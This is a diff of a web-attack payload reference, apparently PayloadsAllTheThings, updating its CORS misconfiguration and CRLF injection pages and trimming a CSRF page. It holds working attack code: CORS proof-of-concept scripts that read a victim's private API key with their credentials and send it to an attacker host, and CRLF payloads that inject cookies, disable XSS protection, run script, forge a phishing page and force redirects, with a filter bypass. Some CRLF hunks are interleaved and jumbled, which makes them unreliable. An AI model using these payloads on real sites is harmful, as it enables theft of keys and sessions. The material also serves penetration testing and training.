||||||
|
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
|
||||||
|
* Attempt to post comments impersonating other users.
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)
|
||||||
|
- [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
|
||||||
|
- [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html)
|
||||||
|
- [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples)
|
||||||
@@ -1,63 +1,47 @@
|
|||||||
# CONTRIBUTING
|
# CONTRIBUTING
|
||||||
|
|
||||||
PayloadsAllTheThings' Team :heart: pull requests :)
|
PayloadsAllTheThings' Team :heart: pull requests.
|
||||||
|
|
||||||
Feel free to improve with your payloads and techniques !
|
Feel free to improve with your payloads and techniques !
|
||||||
|
|
||||||
You can also contribute with a :beers: IRL, or using the sponsor button.
|
You can also contribute with a :beers: IRL, or using the [sponsor](https://github.com/sponsors/swisskyrepo) button.
|
||||||
|
|
||||||
## Pull Requests Guidelines
|
## Pull Requests Guidelines
|
||||||
|
|
||||||
In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
|
In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
|
||||||
|
|
||||||
- Payloads must be sanitized
|
- Payloads must be sanitized
|
||||||
- Use `id`, and `whoami`, for RCE Proof of Concepts
|
- Use `id`, and `whoami`, for RCE Proof of Concepts
|
||||||
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
|
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
|
||||||
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
|
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
|
||||||
- Use `Administrator` for privileged users and `User` for normal account
|
- Use `Administrator` for privileged users and `User` for normal account
|
||||||
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
|
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
|
||||||
- Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
|
- Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
|
||||||
- References must have an `author`, a `title` and a `link`. The `date` is not mandatory but appreciated :)
|
- References must have an `author`, a `title`, a `link` and a `date`
|
||||||
|
- Use [Wayback Machine](wayback.archive.org) if the reference is not available anymore.
|
||||||
|
- The date must be following the format `Month Number, Year`, e.g: `December 25, 2024`
|
||||||
|
- References to Github repositories must follow this format: `[author/tool](https://github.com/URL) - Description`
|
||||||
|
|
||||||
|
Every pull request will be checked with `markdownlint` to ensure consistent writing and Markdown best practices. You can validate your files locally using the following Docker command:
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
docker run -v $PWD:/workdir davidanson/markdownlint-cli2:v0.15.0 "**/*.md" --config .github/.markdownlint.json --fix
|
||||||
|
```
|
||||||
|
|
||||||
## Techniques Folder
|
## Techniques Folder
|
||||||
|
|
||||||
Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
|
Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
|
||||||
|
|
||||||
- README.md - vulnerability description and how to exploit it, including several payloads, more below
|
- **README.md**: vulnerability description and how to exploit it, including several payloads, more below
|
||||||
- Intruder - a set of files to give to Burp Intruder
|
- **Intruder**: a set of files to give to Burp Intruder
|
||||||
- Images - pictures for the README.md
|
- **Images**: pictures for the README.md
|
||||||
- Files - some files referenced in the README.md
|
- **Files**: some files referenced in the README.md
|
||||||
|
|
||||||
## README.md format
|
## README.md Format
|
||||||
|
|
||||||
Use the following example to create a new technique `README.md` file.
|
Use the example folder [_template_vuln/](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/) to create a new vulnerability document. The main page is [README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/README.md). It is organized with sections for a title and description of the vulnerability, along with a summary table of contents linking to the main sections of the document.
|
||||||
|
|
||||||
```markdown
|
- **Tools**: Lists relevant tools with links to their repositories and brief descriptions.
|
||||||
# Vulnerability Title
|
- **Methodology**: Provides a quick overview of the approach used, with code snippets to demonstrate exploitation steps.
|
||||||
|
- **Labs**: References online platforms where similar vulnerabilities can be practiced, each with a link to the corresponding lab.
|
||||||
> Vulnerability description
|
- **References**: Lists external resources, such as blog posts or articles, providing additional context or case studies related to the vulnerability.
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
* [Tools](#tools)
|
|
||||||
* [Something](#something)
|
|
||||||
* [Subentry 1](#sub1)
|
|
||||||
* [Subentry 2](#sub2)
|
|
||||||
* [References](#references)
|
|
||||||
|
|
||||||
## Tools
|
|
||||||
|
|
||||||
- [Tool 1](https://example.com)
|
|
||||||
- [Tool 2](https://example.com)
|
|
||||||
|
|
||||||
## Something
|
|
||||||
|
|
||||||
Quick explanation
|
|
||||||
|
|
||||||
### Subentry 1
|
|
||||||
|
|
||||||
Something about the subentry 1
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
- [Blog title - Author, Date](https://example.com)
|
|
||||||
```
|
|
||||||
|
|||||||
@@ -2,29 +2,42 @@
|
|||||||
|
|
||||||
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
|
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
* [Prerequisites](#prerequisites)
|
* [Requirements](#requirements)
|
||||||
* [Exploitation](#exploitation)
|
* [Methodology](#methodology)
|
||||||
|
* [Origin Reflection](#origin-reflection)
|
||||||
|
* [Null Origin](#null-origin)
|
||||||
|
* [XSS on Trusted Origin](#xss-on-trusted-origin)
|
||||||
|
* [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
|
||||||
|
* [Expanding the Origin](#expanding-the-origin)
|
||||||
|
* [Labs](#labs)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* [Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/)
|
* [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
|
||||||
* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html)
|
* [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
|
||||||
|
* [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
|
||||||
|
* [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
|
||||||
|
* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
|
||||||
|
|
||||||
## Prerequisites
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
* BURP HEADER> `Origin: https://evil.com`
|
* BURP HEADER> `Origin: https://evil.com`
|
||||||
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
|
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
|
||||||
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
|
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
|
||||||
|
|
||||||
## Exploitation
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
|
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
|
||||||
|
|
||||||
### Vulnerable Example: Origin Reflection
|
### Origin Reflection
|
||||||
|
|
||||||
#### Vulnerable Implementation
|
#### Vulnerable Implementation
|
||||||
|
|
||||||
@@ -41,7 +54,7 @@ Access-Control-Allow-Credentials: true
|
|||||||
{"[private API key]"}
|
{"[private API key]"}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Proof of concept
|
#### Proof Of Concept
|
||||||
|
|
||||||
This PoC requires that the respective JS script is hosted at `evil.com`
|
This PoC requires that the respective JS script is hosted at `evil.com`
|
||||||
|
|
||||||
@@ -53,7 +66,7 @@ req.withCredentials = true;
|
|||||||
req.send();
|
req.send();
|
||||||
|
|
||||||
function reqListener() {
|
function reqListener() {
|
||||||
location='//atttacker.net/log?key='+this.responseText;
|
location='//attacker.net/log?key='+this.responseText;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -84,7 +97,7 @@ or
|
|||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Vulnerable Example: Null Origin
|
### Null Origin
|
||||||
|
|
||||||
#### Vulnerable Implementation
|
#### Vulnerable Implementation
|
||||||
|
|
||||||
@@ -105,7 +118,7 @@ Access-Control-Allow-Credentials: true
|
|||||||
{"[private API key]"}
|
{"[private API key]"}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Proof of concept
|
#### Proof Of Concept
|
||||||
|
|
||||||
This can be exploited by putting the attack code into an iframe using the data
|
This can be exploited by putting the attack code into an iframe using the data
|
||||||
URI scheme. If the data URI scheme is used, the browser will use the `null`
|
URI scheme. If the data URI scheme is used, the browser will use the `null`
|
||||||
@@ -125,7 +138,7 @@ origin in the request:
|
|||||||
</script>"></iframe>
|
</script>"></iframe>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Vulnerable Example: XSS on Trusted Origin
|
### XSS on Trusted Origin
|
||||||
|
|
||||||
If the application does implement a strict whitelist of allowed origins, the
|
If the application does implement a strict whitelist of allowed origins, the
|
||||||
exploit codes from above do not work. But if you have an XSS on a trusted
|
exploit codes from above do not work. But if you have an XSS on a trusted
|
||||||
@@ -136,7 +149,7 @@ again.
|
|||||||
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
|
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Vulnerable Example: Wildcard Origin `*` without Credentials
|
### Wildcard Origin without Credentials
|
||||||
|
|
||||||
If the server responds with a wildcard origin `*`, **the browser does never send
|
If the server responds with a wildcard origin `*`, **the browser does never send
|
||||||
the cookies**. However, if the server does not require authentication, it's still
|
the cookies**. However, if the server does not require authentication, it's still
|
||||||
@@ -162,7 +175,7 @@ Access-Control-Allow-Origin: *
|
|||||||
{"[private API key]"}
|
{"[private API key]"}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Proof of concept
|
#### Proof Of Concept
|
||||||
|
|
||||||
```js
|
```js
|
||||||
var req = new XMLHttpRequest();
|
var req = new XMLHttpRequest();
|
||||||
@@ -171,11 +184,13 @@ req.open('get','https://api.internal.example.com/endpoint',true);
|
|||||||
req.send();
|
req.send();
|
||||||
|
|
||||||
function reqListener() {
|
function reqListener() {
|
||||||
location='//atttacker.net/log?key='+this.responseText;
|
location='//attacker.net/log?key='+this.responseText;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
|
|
||||||
### Vulnerable Example: Expanding the Origin / Regex Issues
|
|
||||||
|
### Expanding the Origin
|
||||||
|
|
||||||
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
|
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
|
||||||
|
|
||||||
#### Vulnerable Implementation (Example 1)
|
#### Vulnerable Implementation (Example 1)
|
||||||
@@ -195,7 +210,7 @@ Access-Control-Allow-Credentials: true
|
|||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Proof of concept (Example 1)
|
#### Proof of Concept (Example 1)
|
||||||
|
|
||||||
This PoC requires the respective JS script to be hosted at `evilexample.com`
|
This PoC requires the respective JS script to be hosted at `evilexample.com`
|
||||||
|
|
||||||
@@ -207,7 +222,7 @@ req.withCredentials = true;
|
|||||||
req.send();
|
req.send();
|
||||||
|
|
||||||
function reqListener() {
|
function reqListener() {
|
||||||
location='//atttacker.net/log?key='+this.responseText;
|
location='//attacker.net/log?key='+this.responseText;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -240,23 +255,29 @@ req.withCredentials = true;
|
|||||||
req.send();
|
req.send();
|
||||||
|
|
||||||
function reqListener() {
|
function reqListener() {
|
||||||
location='//atttacker.net/log?key='+this.responseText;
|
location='//attacker.net/log?key='+this.responseText;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
|
|
||||||
## Bug Bounty reports
|
|
||||||
|
|
||||||
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574)
|
## Labs
|
||||||
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147)
|
|
||||||
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200)
|
* [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
|
||||||
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249)
|
* [PortSwigger - CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
|
||||||
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)
|
* [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
|
||||||
|
* [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
- [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
|
||||||
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
- [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
|
||||||
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
|
- [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
|
||||||
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/)
|
- [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
|
||||||
* [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors)
|
- [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
|
||||||
* [CORS Misconfigurations Explained - Detectify Blog](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
|
- [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
|
||||||
|
- [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
|
||||||
|
- [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
|
||||||
|
- [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||||
|
- [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
|
||||||
|
- [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||||
@@ -1,49 +1,89 @@
|
|||||||
# CRLF
|
# Carriage Return Line Feed
|
||||||
|
|
||||||
>The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
> CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
||||||
|
|
||||||
>A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
- [CRLF - Add a cookie](#crlf---add-a-cookie)
|
* [Methodology](#methodology)
|
||||||
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass)
|
* [Session Fixation](#session-fixation)
|
||||||
- [CRLF - Write HTML](#crlf---write-html)
|
* [Cross Site Scripting](#cross-site-scripting)
|
||||||
- [CRLF - Filter Bypass](#crlf---filter-bypass)
|
* [Open Redirect](#open-redirect)
|
||||||
- [References](#references)
|
* [Filter Bypass](#filter-bypass)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
## CRLF - Add a cookie
|
|
||||||
|
|
||||||
Requested page
|
## Methodology
|
||||||
|
|
||||||
|
HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
|
||||||
|
|
||||||
|
**CRLF Characters**:
|
||||||
|
|
||||||
|
* `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
|
||||||
|
* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
|
||||||
|
|
||||||
|
By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
|
||||||
|
|
||||||
|
* Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
|
||||||
|
* Cache Poisoning: Forcing incorrect content to be stored in caches.
|
||||||
|
* Header Manipulation: Altering headers to mislead users or systems
|
||||||
|
|
||||||
|
|
||||||
|
### Session Fixation
|
||||||
|
|
||||||
|
A typical HTTP response header looks like this:
|
||||||
|
|
||||||
```http
|
```http
|
||||||
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
|
HTTP/1.1 200 OK
|
||||||
```
|
|
||||||
|
|
||||||
HTTP Response
|
|
||||||
|
|
||||||
```http
|
|
||||||
Connection: keep-alive
|
|
||||||
Content-Length: 178
|
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
Date: Mon, 09 May 2016 14:47:29 GMT
|
Set-Cookie: sessionid=abc123
|
||||||
Location: https://www.example.net/[INJECTION STARTS HERE]
|
|
||||||
Set-Cookie: mycookie=myvalue
|
|
||||||
X-Frame-Options: SAMEORIGIN
|
|
||||||
X-Sucuri-ID: 15016
|
|
||||||
x-content-type-options: nosniff
|
|
||||||
x-xss-protection: 1; mode=block
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## CRLF - Add a cookie - XSS Bypass
|
If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
|
||||||
|
|
||||||
Requested page
|
```http
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Content-Type: text/html
|
||||||
|
Set-Cookie: sessionid=value
|
||||||
|
Set-Cookie: admin=true
|
||||||
|
```
|
||||||
|
|
||||||
|
Now the attacker has set their own cookie.
|
||||||
|
|
||||||
|
|
||||||
|
### Cross Site Scripting
|
||||||
|
|
||||||
|
Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
|
||||||
|
|
||||||
|
**Requested page**
|
||||||
|
|
||||||
|
```http
|
||||||
|
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
||||||
|
```
|
||||||
|
|
||||||
|
**HTTP response**
|
||||||
|
|
||||||
|
```http
|
||||||
|
Set-Cookie:en
|
||||||
|
Content-Length: 0
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Content-Type: text/html
|
||||||
|
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
|
||||||
|
Content-Length: 34
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
|
||||||
|
|
||||||
|
**Requested page**
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
|
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
|
||||||
```
|
```
|
||||||
|
|
||||||
**HTTP Response**
|
**HTTP Response**
|
||||||
HTTP Response
|
|
||||||
```http
|
```http
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Date: Tue, 20 Dec 2016 14:34:03 GMT
|
Date: Tue, 20 Dec 2016 14:34:03 GMT
|
||||||
@@ -66,49 +106,54 @@ X-XSS-Protection:0
|
|||||||
|
|
||||||
Inject a `Location` header to force a redirect for the user.
|
Inject a `Location` header to force a redirect for the user.
|
||||||
|
|
||||||
|
```ps1
|
||||||
%0d%0aLocation:%20http://myweb.com
|
%0d%0aLocation:%20http://myweb.com
|
||||||
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
```
|
||||||
|
|
||||||
|
|
||||||
HTTP response
|
## Filter Bypass
|
||||||
|
|
||||||
[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
|
[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
|
||||||
Set-Cookie:en
|
|
||||||
|
|
||||||
|
> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
|
||||||
HTTP/1.1 200 OK
|
|
||||||
Content-Type: text/html
|
|
||||||
|
|
||||||
Content-Length: 34
|
Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
|
| UTF-8 Character | Hex | Unicode | Stripped |
|
||||||
|
| --------- | --- | ------- | -------- |
|
||||||
|
| `嘊` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
|
||||||
|
| `嘍` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
|
||||||
|
| `嘾` | `%E5%98%BE` | `\u563e` | `%3E` (>) |
|
||||||
|
| `嘼` | `%E5%98%BC` | `\u563c` | `%3C` (<) |
|
||||||
|
|
||||||
|
The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
|
||||||
|
|
||||||
|
|
||||||
|
An example payload using UTF-8 characters would be:
|
||||||
|
|
||||||
|
```js
|
||||||
|
嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
|
||||||
|
```
|
||||||
|
|
||||||
|
URL encoded version
|
||||||
|
|
||||||
```js
|
```js
|
||||||
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
|
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
|
||||||
```http
|
```
|
||||||
|
|
||||||
```
|
|
||||||
|
## Labs
|
||||||
Remainder:
|
|
||||||
|
|
||||||
|
|
||||||
* [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
|
* [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
|
||||||
* %E5%98%BE = %3E = \u563e (>)
|
|
||||||
* [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
|
* [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
|
||||||
|
|
||||||
|
|
||||||
## Exploitation Tricks
|
|
||||||
* Try to search for parameters that lead to redirects and fuzz them
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
|
- [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
|
||||||
## References
|
|
||||||
|
|
||||||
* https://www.owasp.org/index.php/CRLF_Injection
|
|
||||||
- [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
|
- [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
|
||||||
- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
|
- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
|
||||||
|
|
||||||
* https://www.owasp.org/index.php/CRLF_Injection
|
- [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
|
||||||
* https://vulners.com/hackerone/H1:192749
|
- [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
|
||||||
|
- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
|
||||||
@@ -1,156 +0,0 @@
|
|||||||
# Cross-Site Request Forgery
|
|
||||||
|
|
||||||
> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
|
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
* [Methodology](#methodology)
|
|
||||||
* [Payloads](#payloads)
|
|
||||||
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
|
|
||||||
* [HTML GET - No User Interaction)](#html-get---no-user-interaction)
|
|
||||||
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
|
|
||||||
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
|
|
||||||
* [JSON GET - Simple Request](#json-get---simple-request)
|
|
||||||
* [JSON POST - Simple Request](#json-post---simple-request)
|
|
||||||
* [JSON POST - Complex Request](#json-post---complex-request)
|
|
||||||
* [Bypass referer header validation check](#bypass-referer-header-validation)
|
|
||||||
* [Basic payload](#basic-payload)
|
|
||||||
* [With question mark payload](#with-question-mark-payload)
|
|
||||||
* [With semicolon payload](#with-semicolon-payload)
|
|
||||||
* [With subdomain payload](#with-subdomain-payload)
|
|
||||||
* [References](#references)
|
|
||||||
|
|
||||||
## Tools
|
|
||||||
|
|
||||||
* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
|
|
||||||
|
|
||||||
## Methodology
|
|
